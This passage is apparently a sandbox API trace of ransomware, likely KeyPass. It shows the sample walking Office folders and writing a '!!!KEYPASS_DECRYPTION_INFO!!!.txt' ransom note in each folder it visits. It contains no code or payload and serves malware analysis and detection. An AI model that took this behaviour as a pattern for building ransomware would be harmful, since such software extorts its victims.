FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Graph.exe.manifest") returned=".manifest" [0257.123] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.123] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GRAPH.ICO") returned=".ICO" [0257.124] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.124] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.124] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.124] GetLastError () returned 0x3f0 [0257.124] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.124] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa30 [0257.275] GetFileType (hFile=0xa30) returned 0x1 [0257.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.275] WriteFile (in: hFile=0xa30, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.276] WriteFile (in: hFile=0xa30, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.276] CloseHandle (hObject=0xa30) returned 1 [0257.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3876440 [0257.276] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.276] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.277] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.277] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.277] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.277] GetLastError () returned 0x3f0 [0257.277] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.277] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa1c [0257.385] GetFileType (hFile=0xa1c) returned 0x1 [0257.385] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.385] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.385] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.385] WriteFile (in: hFile=0xa1c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.386] WriteFile (in: hFile=0xa1c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.386] CloseHandle (hObject=0xa1c) returned 1 [0257.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876300 [0257.387] FindNextFileW (in: hFindFile=0x3876300, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.387] FindNextFileW (in: hFindFile=0x3876300, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.387] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.387] FindNextFileW (in: hFindFile=0x3876300, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.387] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.387] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.387] GetLastError () returned 0x3f0 [0257.387] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.387] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa38 [0257.398] GetFileType (hFile=0xa38) returned 0x1 [0257.398] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.398] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.398] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.399] WriteFile (in: hFile=0xa38, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.399] WriteFile (in: hFile=0xa38, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.399] CloseHandle (hObject=0xa38) returned 1 [0257.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3875e40 [0257.400] FindNextFileW (in: hFindFile=0x3875e40, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.400] FindNextFileW (in: hFindFile=0x3875e40, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.400] FindNextFileW (in: hFindFile=0x3875e40, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.400] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0257.400] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4db8060 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.400] GetLastError () returned 0x3f0 [0257.400] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.400] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\components\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa3c [0257.402] GetFileType (hFile=0xa3c) returned 0x1 [0257.402] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0257.402] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0257.402] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0257.402] WriteFile (in: hFile=0xa3c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.403] WriteFile (in: hFile=0xa3c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0257.403] CloseHandle (hObject=0xa3c) returned 1 [0257.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38762c0 [0257.403] FindNextFileW (in: hFindFile=0x38762c0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.403] FindNextFileW (in: hFindFile=0x38762c0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.404] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.404] FindNextFileW (in: hFindFile=0x38762c0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.404] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer") returned=".cer" [0257.404] FindNextFileW (in: hFindFile=0x38762c0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0257.404] FindNextFileW (in: hFindFile=0x3875e40, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.404] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0257.404] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4db8060 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.404] GetLastError () returned 0x3f0 [0257.405] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.405] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\managedobjects\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34 [0257.406] GetFileType (hFile=0xa34) returned 0x1 [0257.406] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0257.406] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0257.406] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0257.406] WriteFile (in: hFile=0xa34, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.407] WriteFile (in: hFile=0xa34, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0257.407] CloseHandle (hObject=0xa34) returned 1 [0257.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3876000 [0257.408] FindNextFileW (in: hFindFile=0x3876000, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.408] FindNextFileW (in: hFindFile=0x3876000, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.408] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.408] FindNextFileW (in: hFindFile=0x3876000, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.408] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer") returned=".cer" [0257.408] FindNextFileW (in: hFindFile=0x3876000, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0257.408] FindNextFileW (in: hFindFile=0x3875e40, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.408] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0257.408] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4db8060 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.408] GetLastError () returned 0x3f0 [0257.408] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.408] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\servers\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa40 [0257.409] GetFileType (hFile=0xa40) returned 0x1 [0257.409] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0257.409] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0257.409] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0257.409] WriteFile (in: hFile=0xa40, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.410] WriteFile (in: hFile=0xa40, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0257.410] CloseHandle (hObject=0xa40) returned 1 [0257.410] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3875e80 [0257.410] FindNextFileW (in: hFindFile=0x3875e80, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.411] FindNextFileW (in: hFindFile=0x3875e80, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.411] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.411] FindNextFileW (in: hFindFile=0x3875e80, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.411] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\Management.cer") returned=".cer" [0257.411] FindNextFileW (in: hFindFile=0x3875e80, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.411] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER") returned=".CER" [0257.411] FindNextFileW (in: hFindFile=0x3875e80, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0257.411] FindNextFileW (in: hFindFile=0x3875e40, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.411] FindNextFileW (in: hFindFile=0x3876300, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.411] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.411] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.411] GetLastError () returned 0x3f0 [0257.411] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.411] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\verisign\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa44 [0257.413] GetFileType (hFile=0xa44) returned 0x1 [0257.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.414] WriteFile (in: hFile=0xa44, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.414] WriteFile (in: hFile=0xa44, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.414] CloseHandle (hObject=0xa44) returned 1 [0257.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3875e00 [0257.415] FindNextFileW (in: hFindFile=0x3875e00, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.415] FindNextFileW (in: hFindFile=0x3875e00, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.415] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.415] FindNextFileW (in: hFindFile=0x3875e00, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.415] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0257.415] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4db8060 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.415] GetLastError () returned 0x3f0 [0257.415] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.415] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\verisign\\components\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4c [0257.427] GetFileType (hFile=0xa4c) returned 0x1 [0257.427] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0257.427] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0257.427] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0257.427] WriteFile (in: hFile=0xa4c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.428] 